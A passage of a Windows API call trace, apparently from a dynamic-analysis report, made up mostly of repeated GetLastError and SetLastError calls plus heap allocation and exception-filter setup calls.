GetLastError () returned 0x0 [0119.099] SetLastError (dwErrCode=0x0) [0119.099] GetLastError () returned 0x0 [0119.099] SetLastError (dwErrCode=0x0) [0119.099] GetLastError () returned 0x0 [0119.099] SetLastError (dwErrCode=0x0) [0119.099] GetLastError () returned 0x0 [0119.099] SetLastError (dwErrCode=0x0) [0119.099] GetLastError () returned 0x0 [0119.099] SetLastError (dwErrCode=0x0) [0119.099] GetLastError () returned 0x0 [0119.100] SetLastError (dwErrCode=0x0) [0119.100] GetLastError () returned 0x0 [0119.100] SetLastError (dwErrCode=0x0) [0119.100] GetLastError () returned 0x0 [0119.100] SetLastError (dwErrCode=0x0) [0119.100] GetLastError () returned 0x0 [0119.100] SetLastError (dwErrCode=0x0) [0119.100] GetLastError () returned 0x0 [0119.100] SetLastError (dwErrCode=0x0) [0119.100] GetLastError () returned 0x0 [0119.101] SetLastError (dwErrCode=0x0) [0119.101] GetLastError () returned 0x0 [0119.101] SetLastError (dwErrCode=0x0) [0119.101] GetLastError () returned 0x0 [0119.101] SetLastError (dwErrCode=0x0) [0119.101] GetLastError () returned 0x0 [0119.101] SetLastError (dwErrCode=0x0) [0119.101] GetLastError () returned 0x0 [0119.101] SetLastError (dwErrCode=0x0) [0119.101] GetLastError () returned 0x0 [0119.101] SetLastError (dwErrCode=0x0) [0119.101] GetLastError () returned 0x0 [0119.102] SetLastError (dwErrCode=0x0) [0119.102] GetLastError () returned 0x0 [0119.102] SetLastError (dwErrCode=0x0) [0119.102] GetLastError () returned 0x0 [0119.102] SetLastError (dwErrCode=0x0) [0119.102] GetLastError () returned 0x0 [0119.102] SetLastError (dwErrCode=0x0) [0119.102] GetLastError () returned 0x0 [0119.102] SetLastError (dwErrCode=0x0) [0119.102] GetLastError () returned 0x0 [0119.102] SetLastError (dwErrCode=0x0) [0119.102] GetLastError () returned 0x0 [0119.102] SetLastError (dwErrCode=0x0) [0119.102] GetLastError () returned 0x0 [0119.103] SetLastError (dwErrCode=0x0) [0119.103] GetLastError () returned 0x0 [0119.103] SetLastError (dwErrCode=0x0) [0119.103] GetLastError () returned 0x0 [0119.103] SetLastError (dwErrCode=0x0) [0119.103] GetLastError () returned 0x0 [0119.103] SetLastError (dwErrCode=0x0) [0119.103] GetLastError () returned 0x0 [0119.103] SetLastError (dwErrCode=0x0) [0119.103] GetLastError () returned 0x0 [0119.103] SetLastError (dwErrCode=0x0) [0119.103] GetLastError () returned 0x0 [0119.103] SetLastError (dwErrCode=0x0) [0119.103] GetLastError () returned 0x0 [0119.103] SetLastError (dwErrCode=0x0) [0119.103] GetLastError () returned 0x0 [0119.104] SetLastError (dwErrCode=0x0) [0119.104] GetLastError () returned 0x0 [0119.104] SetLastError (dwErrCode=0x0) [0119.104] GetLastError () returned 0x0 [0119.104] SetLastError (dwErrCode=0x0) [0119.104] GetLastError () returned 0x0 [0119.104] SetLastError (dwErrCode=0x0) [0119.104] GetLastError () returned 0x0 [0119.104] SetLastError (dwErrCode=0x0) [0119.104] GetLastError () returned 0x0 [0119.104] SetLastError (dwErrCode=0x0) [0119.104] GetLastError () returned 0x0 [0119.104] SetLastError (dwErrCode=0x0) [0119.105] GetLastError () returned 0x0 [0119.105] SetLastError (dwErrCode=0x0) [0119.105] GetLastError () returned 0x0 [0119.105] SetLastError (dwErrCode=0x0) [0119.105] GetLastError () returned 0x0 [0119.105] SetLastError (dwErrCode=0x0) [0119.105] GetLastError () returned 0x0 [0119.105] SetLastError (dwErrCode=0x0) [0119.105] GetLastError () returned 0x0 [0119.105] SetLastError (dwErrCode=0x0) [0119.105] GetLastError () returned 0x0 [0119.106] SetLastError (dwErrCode=0x0) [0119.106] GetLastError () returned 0x0 [0119.106] SetLastError (dwErrCode=0x0) [0119.106] GetLastError () returned 0x0 [0119.106] SetLastError (dwErrCode=0x0) [0119.106] GetLastError () returned 0x0 [0119.107] SetLastError (dwErrCode=0x0) [0119.107] GetLastError () returned 0x0 [0119.107] SetLastError (dwErrCode=0x0) [0119.107] GetLastError () returned 0x0 [0119.107] SetLastError (dwErrCode=0x0) [0119.107] GetLastError () returned 0x0 [0119.107] SetLastError (dwErrCode=0x0) [0119.107] GetLastError () returned 0x0 [0119.108] SetLastError (dwErrCode=0x0) [0119.108] GetLastError () returned 0x0 [0119.108] SetLastError (dwErrCode=0x0) [0119.108] GetLastError () returned 0x0 [0119.108] SetLastError (dwErrCode=0x0) [0119.108] GetLastError () returned 0x0 [0119.108] SetLastError (dwErrCode=0x0) [0119.108] GetLastError () returned 0x0 [0119.108] SetLastError (dwErrCode=0x0) [0119.108] GetLastError () returned 0x0 [0119.108] SetLastError (dwErrCode=0x0) [0119.108] GetLastError () returned 0x0 [0119.109] SetLastError (dwErrCode=0x0) [0119.109] GetLastError () returned 0x0 [0119.109] SetLastError (dwErrCode=0x0) [0119.109] GetLastError () returned 0x0 [0119.109] SetLastError (dwErrCode=0x0) [0119.109] GetLastError () returned 0x0 [0119.109] SetLastError (dwErrCode=0x0) [0119.109] GetLastError () returned 0x0 [0119.109] SetLastError (dwErrCode=0x0) [0119.109] GetLastError () returned 0x0 [0119.110] SetLastError (dwErrCode=0x0) [0119.110] GetLastError () returned 0x0 [0119.110] SetLastError (dwErrCode=0x0) [0119.110] GetLastError () returned 0x0 [0119.110] SetLastError (dwErrCode=0x0) [0119.110] GetLastError () returned 0x0 [0119.110] SetLastError (dwErrCode=0x0) [0119.110] GetLastError () returned 0x0 [0119.110] SetLastError (dwErrCode=0x0) [0119.110] GetLastError () returned 0x0 [0119.110] SetLastError (dwErrCode=0x0) [0119.110] GetLastError () returned 0x0 [0119.110] SetLastError (dwErrCode=0x0) [0119.110] GetLastError () returned 0x0 [0119.111] SetLastError (dwErrCode=0x0) [0119.111] GetLastError () returned 0x0 [0119.111] SetLastError (dwErrCode=0x0) [0119.111] GetLastError () returned 0x0 [0119.111] SetLastError (dwErrCode=0x0) [0119.111] GetLastError () returned 0x0 [0119.111] SetLastError (dwErrCode=0x0) [0119.111] GetLastError () returned 0x0 [0119.111] SetLastError (dwErrCode=0x0) [0119.111] GetLastError () returned 0x0 [0119.111] SetLastError (dwErrCode=0x0) [0119.111] GetLastError () returned 0x0 [0119.111] SetLastError (dwErrCode=0x0) [0119.111] GetLastError () returned 0x0 [0119.113] SetLastError (dwErrCode=0x0) [0119.113] GetLastError () returned 0x0 [0119.113] SetLastError (dwErrCode=0x0) [0119.113] GetLastError () returned 0x0 [0119.113] SetLastError (dwErrCode=0x0) [0119.114] GetLastError () returned 0x0 [0119.114] SetLastError (dwErrCode=0x0) [0119.114] GetLastError () returned 0x0 [0119.114] SetLastError (dwErrCode=0x0) [0119.114] GetLastError () returned 0x0 [0119.114] SetLastError (dwErrCode=0x0) [0119.114] GetLastError () returned 0x0 [0119.114] SetLastError (dwErrCode=0x0) [0119.114] GetLastError () returned 0x0 [0119.114] SetLastError (dwErrCode=0x0) [0119.114] GetLastError () returned 0x0 [0119.114] SetLastError (dwErrCode=0x0) [0119.114] GetLastError () returned 0x0 [0119.114] SetLastError (dwErrCode=0x0) [0119.115] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x6b) returned 0x2361710 [0119.115] GetLastError () returned 0x0 [0119.115] SetLastError (dwErrCode=0x0) [0119.115] GetLastError () returned 0x0 [0119.115] SetLastError (dwErrCode=0x0) [0119.115] GetLastError () returned 0x0 [0119.115] SetLastError (dwErrCode=0x0) [0119.115] GetLastError () returned 0x0 [0119.115] SetLastError (dwErrCode=0x0) [0119.115] GetLastError () returned 0x0 [0119.115] SetLastError (dwErrCode=0x0) [0119.115] GetLastError () returned 0x0 [0119.116] SetLastError (dwErrCode=0x0) [0119.116] GetLastError () returned 0x0 [0119.116] SetLastError (dwErrCode=0x0) [0119.116] GetLastError () returned 0x0 [0119.116] SetLastError (dwErrCode=0x0) [0119.116] GetLastError () returned 0x0 [0119.116] SetLastError (dwErrCode=0x0) [0119.116] GetLastError () returned 0x0 [0119.116] SetLastError (dwErrCode=0x0) [0119.116] GetLastError () returned 0x0 [0119.116] SetLastError (dwErrCode=0x0) [0119.117] GetLastError () returned 0x0 [0119.117] SetLastError (dwErrCode=0x0) [0119.117] GetLastError () returned 0x0 [0119.117] SetLastError (dwErrCode=0x0) [0119.117] GetLastError () returned 0x0 [0119.117] SetLastError (dwErrCode=0x0) [0119.117] GetLastError () returned 0x0 [0119.117] SetLastError (dwErrCode=0x0) [0119.117] GetLastError () returned 0x0 [0119.117] SetLastError (dwErrCode=0x0) [0119.118] GetLastError () returned 0x0 [0119.118] SetLastError (dwErrCode=0x0) [0119.118] GetLastError () returned 0x0 [0119.118] SetLastError (dwErrCode=0x0) [0119.118] GetLastError () returned 0x0 [0119.118] SetLastError (dwErrCode=0x0) [0119.118] GetLastError () returned 0x0 [0119.118] SetLastError (dwErrCode=0x0) [0119.118] GetLastError () returned 0x0 [0119.118] SetLastError (dwErrCode=0x0) [0119.118] GetLastError () returned 0x0 [0119.118] SetLastError (dwErrCode=0x0) [0119.118] GetLastError () returned 0x0 [0119.119] SetLastError (dwErrCode=0x0) [0119.156] GetLastError () returned 0x0 [0119.156] SetLastError (dwErrCode=0x0) [0119.156] GetLastError () returned 0x0 [0119.156] SetLastError (dwErrCode=0x0) [0119.156] GetLastError () returned 0x0 [0119.156] SetLastError (dwErrCode=0x0) [0119.156] GetLastError () returned 0x0 [0119.156] SetLastError (dwErrCode=0x0) [0119.157] GetLastError () returned 0x0 [0119.157] SetLastError (dwErrCode=0x0) [0119.157] GetLastError () returned 0x0 [0119.157] SetLastError (dwErrCode=0x0) [0119.157] GetLastError () returned 0x0 [0119.157] SetLastError (dwErrCode=0x0) [0119.157] GetLastError () returned 0x0 [0119.158] SetLastError (dwErrCode=0x0) [0119.158] GetLastError () returned 0x0 [0119.158] SetLastError (dwErrCode=0x0) [0119.158] GetLastError () returned 0x0 [0119.158] SetLastError (dwErrCode=0x0) [0119.158] GetLastError () returned 0x0 [0119.158] SetLastError (dwErrCode=0x0) [0119.158] GetLastError () returned 0x0 [0119.158] SetLastError (dwErrCode=0x0) [0119.158] GetLastError () returned 0x0 [0119.159] SetLastError (dwErrCode=0x0) [0119.159] GetLastError () returned 0x0 [0119.159] SetLastError (dwErrCode=0x0) [0119.159] GetLastError () returned 0x0 [0119.159] SetLastError (dwErrCode=0x0) [0119.159] GetLastError () returned 0x0 [0119.159] SetLastError (dwErrCode=0x0) [0119.159] GetLastError () returned 0x0 [0119.159] SetLastError (dwErrCode=0x0) [0119.159] GetLastError () returned 0x0 [0119.159] SetLastError (dwErrCode=0x0) [0119.159] GetLastError () returned 0x0 [0119.160] SetLastError (dwErrCode=0x0) [0119.160] GetLastError () returned 0x0 [0119.160] SetLastError (dwErrCode=0x0) [0119.160] GetLastError () returned 0x0 [0119.160] SetLastError (dwErrCode=0x0) [0119.160] GetLastError () returned 0x0 [0119.160] SetLastError (dwErrCode=0x0) [0119.160] GetLastError () returned 0x0 [0119.160] SetLastError (dwErrCode=0x0) [0119.160] GetLastError () returned 0x0 [0119.161] SetLastError (dwErrCode=0x0) [0119.161] GetLastError () returned 0x0 [0119.161] SetLastError (dwErrCode=0x0) [0119.161] GetLastError () returned 0x0 [0119.161] SetLastError (dwErrCode=0x0) [0119.161] GetLastError () returned 0x0 [0119.161] SetLastError (dwErrCode=0x0) [0119.161] GetLastError () returned 0x0 [0119.161] SetLastError (dwErrCode=0x0) [0119.162] GetLastError () returned 0x0 [0119.162] SetLastError (dwErrCode=0x0) [0119.162] GetLastError () returned 0x0 [0119.162] SetLastError (dwErrCode=0x0) [0119.162] GetLastError () returned 0x0 [0119.162] SetLastError (dwErrCode=0x0) [0119.162] GetLastError () returned 0x0 [0119.162] SetLastError (dwErrCode=0x0) [0119.162] GetLastError () returned 0x0 [0119.162] SetLastError (dwErrCode=0x0) [0119.162] GetLastError () returned 0x0 [0119.162] SetLastError (dwErrCode=0x0) [0119.162] GetLastError () returned 0x0 [0119.162] SetLastError (dwErrCode=0x0) [0119.163] GetLastError () returned 0x0 [0119.163] SetLastError (dwErrCode=0x0) [0119.163] GetLastError () returned 0x0 [0119.163] SetLastError (dwErrCode=0x0) [0119.163] GetLastError () returned 0x0 [0119.163] SetLastError (dwErrCode=0x0) [0119.163] GetLastError () returned 0x0 [0119.163] SetLastError (dwErrCode=0x0) [0119.163] GetLastError () returned 0x0 [0119.163] SetLastError (dwErrCode=0x0) [0119.163] GetLastError () returned 0x0 [0119.163] SetLastError (dwErrCode=0x0) [0119.163] GetLastError () returned 0x0 [0119.163] SetLastError (dwErrCode=0x0) [0119.163] GetLastError () returned 0x0 [0119.164] SetLastError (dwErrCode=0x0) [0119.164] GetLastError () returned 0x0 [0119.164] SetLastError (dwErrCode=0x0) [0119.164] GetLastError () returned 0x0 [0119.164] SetLastError (dwErrCode=0x0) [0119.164] GetLastError () returned 0x0 [0119.164] SetLastError (dwErrCode=0x0) [0119.164] GetLastError () returned 0x0 [0119.164] SetLastError (dwErrCode=0x0) [0119.164] GetLastError () returned 0x0 [0119.164] SetLastError (dwErrCode=0x0) [0119.164] GetLastError () returned 0x0 [0119.165] SetLastError (dwErrCode=0x0) [0119.165] GetLastError () returned 0x0 [0119.165] SetLastError (dwErrCode=0x0) [0119.165] GetLastError () returned 0x0 [0119.165] SetLastError (dwErrCode=0x0) [0119.165] GetLastError () returned 0x0 [0119.165] SetLastError (dwErrCode=0x0) [0119.165] GetLastError () returned 0x0 [0119.165] SetLastError (dwErrCode=0x0) [0119.165] GetLastError () returned 0x0 [0119.165] SetLastError (dwErrCode=0x0) [0119.165] GetLastError () returned 0x0 [0119.165] SetLastError (dwErrCode=0x0) [0119.166] GetLastError () returned 0x0 [0119.166] SetLastError (dwErrCode=0x0) [0119.166] GetLastError () returned 0x0 [0119.166] SetLastError (dwErrCode=0x0) [0119.166] GetLastError () returned 0x0 [0119.166] SetLastError (dwErrCode=0x0) [0119.166] GetLastError () returned 0x0 [0119.166] SetLastError (dwErrCode=0x0) [0119.166] GetLastError () returned 0x0 [0119.167] SetLastError (dwErrCode=0x0) [0119.167] GetLastError () returned 0x0 [0119.167] SetLastError (dwErrCode=0x0) [0119.167] GetLastError () returned 0x0 [0119.168] SetLastError (dwErrCode=0x0) [0119.168] GetLastError () returned 0x0 [0119.168] SetLastError (dwErrCode=0x0) [0119.168] GetLastError () returned 0x0 [0119.168] SetLastError (dwErrCode=0x0) [0119.168] GetLastError () returned 0x0 [0119.168] SetLastError (dwErrCode=0x0) [0119.168] GetLastError () returned 0x0 [0119.169] SetLastError (dwErrCode=0x0) [0119.169] GetLastError () returned 0x0 [0119.169] SetLastError (dwErrCode=0x0) [0119.169] GetLastError () returned 0x0 [0119.169] SetLastError (dwErrCode=0x0) [0119.169] GetLastError () returned 0x0 [0119.169] SetLastError (dwErrCode=0x0) [0119.169] GetLastError () returned 0x0 [0119.169] SetLastError (dwErrCode=0x0) [0119.170] GetLastError () returned 0x0 [0119.170] SetLastError (dwErrCode=0x0) [0119.170] GetLastError () returned 0x0 [0119.170] SetLastError (dwErrCode=0x0) [0119.170] GetLastError () returned 0x0 [0119.170] SetLastError (dwErrCode=0x0) [0119.170] GetLastError () returned 0x0 [0119.170] SetLastError (dwErrCode=0x0) [0119.170] GetLastError () returned 0x0 [0119.171] SetLastError (dwErrCode=0x0) [0119.171] GetLastError () returned 0x0 [0119.171] SetLastError (dwErrCode=0x0) [0119.177] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x90) returned 0x2361788 [0119.177] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x1f) returned 0x2361820 [0119.183] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x2e) returned 0x2361848 [0119.183] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x37) returned 0x2361880 [0119.183] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x3c) returned 0x23618c0 [0119.183] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x31) returned 0x2361908 [0119.183] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x14) returned 0x2361948 [0119.183] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x24) returned 0x2361968 [0119.183] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0xd) returned 0x2361998 [0119.183] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x1d) returned 0x23619b0 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x31) returned 0x23619d8 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x15) returned 0x2361a18 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x17) returned 0x2361a38 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0xe) returned 0x2361a58 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x69) returned 0x2361a70 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x3e) returned 0x2361ae8 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x1b) returned 0x2361b30 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x1d) returned 0x2361b58 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x48) returned 0x2361b80 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x12) returned 0x2361bd0 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x18) returned 0x2361bf0 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x1b) returned 0x2361c10 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x24) returned 0x2361c38 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x29) returned 0x2361c68 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x1e) returned 0x2361ca0 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x6b) returned 0x2361cc8 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x17) returned 0x2361d40 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0xf) returned 0x2361d60 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x16) returned 0x2361d78 [0119.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x2a) returned 0x2361d98 [0119.185] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x29) returned 0x2361dd0 [0119.185] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x12) returned 0x2361e08 [0119.185] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x21) returned 0x2361e28 [0119.185] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x16) returned 0x2361e58 [0119.185] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x22) returned 0x2361e78 [0119.185] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x12) returned 0x2361ea8 [0119.185] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360fd0 | out: hHeap=0x2360000) returned 1 [0119.309] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x80) returned 0x2361ec8 [0119.309] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x800) returned 0x2361f50 [0119.310] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0119.310] RtlSizeHeap (HeapHandle=0x2360000, Flags=0x0, MemoryPointer=0x2361ec8) returned 0x80 [0119.310] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4aaac4) returned 0x403935 [0119.311] RtlSizeHeap (HeapHandle=0x2360000, Flags=0x0, MemoryPointer=0x2361ec8) returned 0x80 [0119.388] RtlSizeHeap (HeapHandle=0x2360000, Flags=0x0, MemoryPointer=0x2361ec8) returned 0x80 [0119.388] RtlSizeHeap (HeapHandle=0x2360000, Flags=0x0, MemoryPointer=0x2361ec8) returned 0x80 [0119.389] RtlSizeHeap (HeapHandle=0x2360000, Flags=0x0, MemoryPointer=0x2361ec8) returned 0x80 [0119.389] RtlSizeHeap (HeapHandle=0x2360000, Flags=0x0, MemoryPointer=0x2361ec8) returned 0x80 [0119.389] RtlSizeHeap (HeapHandle=0x2360000, Flags=0x0, MemoryPointer=0x2361ec8) returned 0x80 [0119.390] RtlSizeHeap (HeapHandle=0x2360000, Flags=0x0, MemoryPointer=0x2361ec8) returned 0x80 [0119.390] RtlSizeHeap (HeapHandle=0x2360000, Flags=0x0, MemoryPointer=0x2361ec8) returned 0x80 [0119.499] RtlSizeHeap (HeapHandle=0x2360000, Flags=0x0, MemoryPointer=0x2361ec8) returned 0x80 [0119.500] RtlSizeHeap (HeapHandle=0x2360000, Flags=0x0, MemoryPointer=0x2361ec8) returned 0x80 [0119.501] RtlSizeHeap (HeapHandle=0x2360000, Flags=0x0, MemoryPointer=0x2361ec8) returned 0x80 [0119.501] RtlSizeHeap (HeapHandle=0x2360000, Flags=0x0, MemoryPointer=0x2361ec8) returned 0x80 [0119.502] RtlSizeHeap (HeapHandle=0x2360000, Flags=0x0, MemoryPointer=0x2361ec8) returned 0x80 [0119.502] RtlSizeHeap (HeapHandle=0x2360000, Flags=0x0, MemoryPointer=0x2361ec8) returned 0x80 [0119.503] RtlSizeHeap (HeapHandle=0x2360000, Flags=0x0, MemoryPointer=0x2361ec8) returned 0x80 [0119.503] GetLastError () returned 0x0 [0119.503] SetLastError (dwErrCode=0x0) [0119.503] GetLastError () returned 0x0 [0119.503] SetLastError (dwErrCode=0x0) [0119.503] GetLastError () returned 0x0 [0119.504] SetLastError (dwErrCode=0x0) [0119.504] GetLastError () returned 0x0 [0119.504] SetLastError (dwErrCode=0x0) [0119.504] GetLastError () returned 0x0 [0119.504] SetLastError (dwErrCode=0x0) [0119.504] GetLastError () returned 0x0 [0119.504] SetLastError (dwErrCode=0x0) [0119.504] GetLastError () returned 0x0 [0119.504] SetLastError (dwErrCode=0x0) [0119.504] GetLastError () returned 0x0 [0119.504] SetLastError (dwErrCode=0x0) [0119.504] GetLastError () returned 0x0 [0119.505] SetLastError (dwErrCode=0x0) [0119.505] GetLastError () returned 0x0 [0119.505] SetLastError (dwErrCode=0x0) [0119.505] GetLastError () returned 0x0 [0119.505] SetLastError (dwErrCode=0x0) [0119.505] GetLastError () returned 0x0 [0119.505] SetLastError (dwErrCode=0x0) [0119.505] GetLastError () returned 0x0 [0119.505] SetLastError (dwErrCode=0x0) [0119.505] GetLastError () returned 0x0 [0119.505] SetLastError (dwErrCode=0x0) [0119.505] GetLastError () returned 0x0 [0119.505] SetLastError (dwErrCode=0x0) [0119.505] GetLastError () returned 0x0 [0119.505] SetLastError (dwErrCode=0x0) [0119.505] GetLastError () returned 0x0 [0119.506] SetLastError (dwErrCode=0x0) [0119.506] GetLastError () returned 0x0 [0119.506] SetLastError (dwErrCode=0x0) [0119.506] GetLastError () returned 0x0 [0119.506] SetLastError (dwErrCode=0x0) [0119.506] GetLastError () returned 0x0 [0119.506] SetLastError (dwErrCode=0x0) [0119.506] GetLastError () returned 0x0 [0119.506] SetLastError (dwErrCode=0x0) [0119.506] GetLastError () returned 0x0 [0119.506] SetLastError (dwErrCode=0x0) [0119.506] GetLastError () returned 0x0 [0119.506] SetLastError (dwErrCode=0x0) [0119.506] GetLastError () returned 0x0 [0119.506] SetLastError (dwErrCode=0x0) [0119.506] GetLastError () returned 0x0 [0119.507] SetLastError (dwErrCode=0x0) [0119.507] GetLastError () returned 0x0 [0119.507] SetLastError (dwErrCode=0x0) [0119.507] GetLastError () returned 0x0 [0119.507] SetLastError (dwErrCode=0x0) [0119.507] GetLastError () returned 0x0 [0119.507] SetLastError (dwErrCode=0x0) [0119.507] GetLastError () returned 0x0 [0119.507] SetLastError (dwErrCode=0x0) [0119.507] GetLastError () returned 0x0 [0119.507] SetLastError (dwErrCode=0x0) [0119.507] GetLastError () returned 0x0 [0119.508] SetLastError (dwErrCode=0x0) [0119.508] GetLastError () returned 0x0 [0119.508] SetLastError (dwErrCode=0x0) [0119.508] GetLastError () returned 0x0 [0119.508] SetLastError (dwErrCode=0x0) [0119.508] GetLastError () returned 0x0 [0119.508] SetLastError (dwErrCode=0x0) [0119.508] GetLastError () returned 0x0 [0119.508] SetLastError (dwErrCode=0x0) [0119.508] GetLastError () returned 0x0 [0119.508] SetLastError (dwErrCode=0x0) [0119.508] GetLastError () returned 0x0 [0119.508] SetLastError (dwErrCode=0x0) [0119.509] GetLastError () returned 0x0 [0119.509] SetLastError (dwErrCode=0x0) [0119.509] GetLastError () returned 0x0 [0119.509] SetLastError (dwErrCode=0x0) [0119.509] GetLastError () returned 0x0 [0119.509] SetLastError (dwErrCode=0x0) [0119.509] GetLastError () returned 0x0 [0119.509] SetLastError (dwErrCode=0x0) [0119.509] GetLastError () returned 0x0 [0119.510] SetLastError (dwErrCode=0x0) [0119.510] GetLastError () returned 0x0 [0119.510] SetLastError (dwErrCode=0x0) [0119.510] GetLastError () returned 0x0 [0119.510] SetLastError (dwErrCode=0x0) [0119.510] GetLastError () returned 0x0 [0119.510] SetLastError (dwErrCode=0x0) [0119.510] GetLastError () returned 0x0 [0119.510] SetLastError (dwErrCode=0x0) [0119.510] GetLastError () returned 0x0 [0119.510] SetLastError (dwErrCode=0x0) [0119.510] GetLastError () returned 0x0 [0119.510] SetLastError (dwErrCode=0x0) [0119.510] GetLastError () returned 0x0 [0119.510] SetLastError (dwErrCode=0x0) [0119.511] GetLastError () returned 0x0 [0119.511] SetLastError (dwErrCode=0x0) [0119.511] GetLastError () returned 0x0 [0119.511] SetLastError (dwErrCode=0x0) [0119.511] GetLastError () returned 0x0 [0119.511] SetLastError (dwErrCode=0x0) [0119.511] GetLastError () returned 0x0 [0119.511] SetLastError (dwErrCode=0x0) [0119.511] GetLastError () returned 0x0 [0119.511] SetLastError (dwErrCode=0x0) [0119.511] GetLastError () returned 0x0 [0119.511] SetLastError (dwErrCode=0x0) [0119.511] GetLastError () returned 0x0 [0119.511] SetLastError (dwErrCode=0x0) [0119.511] GetLastError () returned 0x0 [0119.512] SetLastError (dwErrCode=0x0) [0119.512] GetLastError () returned 0x0 [0119.512] SetLastError (dwErrCode=0x0) [0119.512] GetLastError () returned 0x0 [0119.512] SetLastError (dwErrCode=0x0) [0119.512] GetLastError () returned 0x0 [0119.512] SetLastError (dwErrCode=0x0) [0119.512] GetLastError () returned 0x0 [0119.512] SetLastError (dwErrCode=0x0) [0119.512] GetLastError () returned 0x0 [0119.512] SetLastError (dwErrCode=0x0) [0119.512] GetLastError () returned 0x0 [0119.512] SetLastError (dwErrCode=0x0) [0119.512] GetLastError () returned 0x0 [0119.512] SetLastError (dwErrCode=0x0) [0119.513] GetLastError () returned 0x0 [0119.513] SetLastError (dwErrCode=0x0) [0119.513] GetLastError () returned 0x0 [0119.513] SetLastError (dwErrCode=0x0) [0119.513] GetLastError () returned 0x0 [0119.513] SetLastError (dwErrCode=0x0) [0119.513] GetLastError () returned 0x0 [0119.514] SetLastError (dwErrCode=0x0) [0119.514] GetLastError () returned 0x0 [0119.514] SetLastError (dwErrCode=0x0) [0119.514] GetLastError () returned 0x0 [0119.514] SetLastError (dwErrCode=0x0) [0119.514] GetLastError () returned 0x0 [0119.515] SetLastError (dwErrCode=0x0) [0119.515] GetLastError () returned 0x0 [0119.515] SetLastError (dwErrCode=0x0) [0119.515] GetLastError () returned 0x0 [0119.515] SetLastError (dwErrCode=0x0) [0119.515] GetLastError () returned 0x0 [0119.515] SetLastError (dwErrCode=0x0) [0119.515] GetLastError () returned 0x0 [0119.516] SetLastError (dwErrCode=0x0) [0119.516] GetLastError () returned 0x0 [0119.516] SetLastError (dwErrCode=0x0) [0119.516] GetLastError () returned 0x0 [0119.516] SetLastError (dwErrCode=0x0) [0119.516] GetLastError () returned 0x0 [0119.516] SetLastError (dwErrCode=0x0) [0119.516] GetLastError () returned 0x0 [0119.516] SetLastError (dwErrCode=0x0) [0119.516] GetLastError () returned 0x0 [0119.516] SetLastError (dwErrCode=0x0) [0119.516] GetLastError () returned 0x0 [0119.516] SetLastError (dwErrCode=0x0) [0119.516] GetLastError () returned 0x0 [0119.516] SetLastError (dwErrCode=0x0) [0119.517] GetLastError () returned 0x0 [0119.517] SetLastError (dwErrCode=0x0) [0119.517] GetLastError () returned 0x0 [0119.517] SetLastError (dwErrCode=0x0) [0119.517] GetLastError () returned 0x0 [0119.517] SetLastError (dwErrCode=0x0) [0119.517] GetLastError () returned 0x0 [0119.517] SetLastError (dwErrCode=0x0) [0119.517] GetLastError () returned 0x0 [0119.517] SetLastError (dwErrCode=0x0) [0119.517] GetLastError () returned 0x0 [0119.517] SetLastError (dwErrCode=0x0) [0119.517] GetLastError () returned 0x0 [0119.518] SetLastError (dwErrCode=0x0) [0119.518] GetLastError () returned 0x0 [0119.518] SetLastError (dwErrCode=0x0) [0119.518] GetLastError () returned 0x0 [0119.518] SetLastError (dwErrCode=0x0) [0119.518] GetLastError () returned 0x0 [0119.518] SetLastError (dwErrCode=0x0) [0119.518] GetLastError () returned 0x0 [0119.518] SetLastError (dwErrCode=0x0) [0119.518] GetLastError () returned 0x0 [0119.518] SetLastError (dwErrCode=0x0) [0119.518] GetLastError () returned 0x0 [0119.518] SetLastError (dwErrCode=0x0) [0119.518] GetLastError () returned 